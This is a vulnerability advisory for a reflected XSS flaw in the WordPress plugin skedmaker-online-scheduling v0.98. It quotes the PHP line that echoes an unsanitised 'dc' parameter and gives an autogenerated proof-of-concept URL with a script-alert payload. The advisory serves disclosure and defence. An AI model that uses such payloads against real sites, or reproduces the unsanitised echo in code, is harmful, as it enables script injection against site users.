Advisory #: 67
Title: Reflected XSS in wordpress plugin skedmaker-online-scheduling v0.98
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/skedmaker-online-scheduling
Downloads: 2666
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: skedmaker-online-scheduling
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./skedmaker-online-scheduling/_admin/_customdays.php: 94: <form name='formdc' method='post' action='<?php echo $smadmin;?>&amp;v=customdays&amp;op=deleteconfirm&amp;dc=<?php echo $_GET['dc'];?>&amp;' style='margin:0px; border:0px'> The variable dc appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./skedmaker-online-scheduling/_admin/_customdays.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/skedmaker-online-scheduling/_admin/_customdays.php?dc="><script>alert(1);</script><"